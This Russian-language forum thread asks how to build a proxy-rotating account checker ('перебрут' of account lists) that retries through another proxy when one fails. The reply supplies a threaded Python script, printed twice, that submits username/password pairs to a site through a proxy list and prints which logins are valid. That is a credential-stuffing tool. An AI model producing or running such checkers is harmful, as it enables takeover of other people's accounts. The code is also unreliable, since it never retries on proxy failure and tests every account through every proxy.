как сделать перебрут аккаунтов? То есть у меня есть обычных условие if else, если спарсил элемент, то валид, если нет, то нет. Не думаю, что стоит это объяснять. Но попадаются плохие ******, через которые невозможно отправить запрос и эти акки отправляются в невалид, вместо того, чтобы сменить ****** и попытаться заного. Как мне это реализовать?
champloo, для решения этой проблемы можно использовать многопоточность и проверку аккаунтов в несколько потоков. Также можно использовать библиотеку requests, которая позволяет использовать ****** при отправке запросов. Пример кода на Python с использованием requests и многопоточности: import requests from concurrent.futures import ThreadPoolExecutor def check_account(account, proxy): session = requests.Session() session.proxies = {'http': proxy, 'https': proxy} response = session.get('https://example.com', auth=(account['username'], account['password'])) if response.status_code == 200: print(f"{account['username']} is valid") else: print(f"{account['username']} is invalid") accounts = [{'username': 'user1', 'password': 'pass1'}, {'username': 'user2', 'password': 'pass2'}, ...] proxies = ['http://proxy1.com', 'http://proxy2.com', ...] with ThreadPoolExecutor(max_workers=10) as executor: for account in accounts: for proxy in proxies: executor.submit(check_account, account, proxy) Код import requests from concurrent.futures import ThreadPoolExecutor def check_account(account, proxy): session = requests.Session() session.proxies = {'http': proxy, 'https': proxy} response = session.get('https://example.com', auth=(account['username'], account['password'])) if response.status_code == 200: print(f"{account['username']} is valid") else: print(f"{account['username']} is invalid") accounts = [{'username': 'user1', 'password': 'pass1'}, {'username': 'user2', 'password': 'pass2'}, ...] proxies = ['http://proxy1.com', 'http://proxy2.com', ...] with ThreadPoolExecutor(max_workers=10) as executor: for account in accounts: for proxy in proxies: executor.submit(check_account, account, proxy) В этом примере мы создаем список аккаунтов и список ******, затем запускаем несколько потоков для проверки каждого аккаунта через каждый ******. При этом мы используем библиотеку requests для отправки запросов через ******. Если аккаунт валидный, то выводим сообщение об этом, иначе выводим сообщение о том, что аккаунт невалидный. Надеюсь, это поможет тебе решить проблему с проверкой аккаунтов через ******.